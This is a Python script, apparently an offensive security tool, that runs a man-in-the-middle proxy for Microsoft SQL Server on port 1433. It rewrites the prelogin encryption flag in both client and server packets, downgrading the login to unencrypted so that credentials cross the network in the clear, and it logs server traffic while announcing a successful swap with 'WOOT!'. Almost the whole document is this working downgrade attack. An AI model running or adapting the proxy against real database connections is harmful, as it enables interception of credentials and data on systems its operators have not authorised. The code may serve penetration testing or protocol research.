Proxy that strips Microsoft SQL Server authentication encryption

mssql-proxy.py

#!/usr/bin/env python
 
LISTEN_PORT = 1433
SERVER_PORT = 1433
SERVER_ADDR = "172.16.172.142"
 
from twisted.internet import protocol, reactor 
 
# Adapted from http://stackoverflow.com/a/15645169/221061
class ServerProtocol(protocol.Protocol):
    def __init__(self):
        self.buffer = None
        self.client = None
 
    def connectionMade(self):
        factory = protocol.ClientFactory()
        factory.protocol = ClientProtocol
        factory.server = self
 
        reactor.connectTCP(SERVER_ADDR, SERVER_PORT, factory)
 
    # Client => Proxy
    def dataReceived(self, data):
        old_prelogin = "\x00\x00\x1f\x00\x06\x01\x00%\x00\x01\x02\x00&\x00\x01\x03\x00'\x00\x04\x04\x00+\x00\x01\x05\x00,\x00$\xff\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00M\xa5*\xa8\xc0\xcc\xc6L\x85\xc4\xe2\xffHMd\xcb\x87\x16/\r-|\xa8L\xa2\x8b\x91\xeaM\x98X\t\x01\x00\x00\x00"
        new_prelogin = "\x00\x00\x1f\x00\x06\x01\x00%\x00\x01\x02\x00&\x00\x01\x03\x00'\x00\x04\x04\x00+\x00\x01\x05\x00,\x00$\xff\x10\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\xb8\x00M\xa5*\xa8\xc0\xcc\xc6L\x85\xc4\xe2\xffHMd\xcb\x87\x16/\r-|\xa8L\xa2\x8b\x91\xeaM\x98X\t\x01\x00\x00\x00"
        i = data.find("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
        if i > -1:
            print "FOUND: client prelogin"
            rstr = "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00"
            data = data[:i] + rstr + data[i + len(rstr):]            
        
        if self.client:
            self.client.write(data)
        else:
            self.buffer = data
 
    # Proxy => Client
    def write(self, data):
        self.transport.write(data)
 
 
class ClientProtocol(protocol.Protocol):
    def connectionMade(self):
        self.factory.server.client = self
        self.write(self.factory.server.buffer)
        self.factory.server.buffer = ''
 
    # Server => Proxy
    def dataReceived(self, data):
        print "Server says:", "".join("{:02x}".format(ord(c)) for c in data)

        if data.endswith("\xff\x0c\x00\x10\x04\x00\x00\x00\x00\x00"):
            data = data[:-3] + "\x02\x00\x00"
            print "Server says:", "".join("{:02x}".format(ord(c)) for c in data)
            print "WOOT! replacement above"

        self.factory.server.write(data)
 
    # Proxy => Server
    def write(self, data):
        if data:
            self.transport.write(data) 
 
 
def main():
    factory = protocol.ServerFactory()
    factory.protocol = ServerProtocol
 
    reactor.listenTCP(LISTEN_PORT, factory)
    reactor.run()
 
 
if __name__ == '__main__':
    main()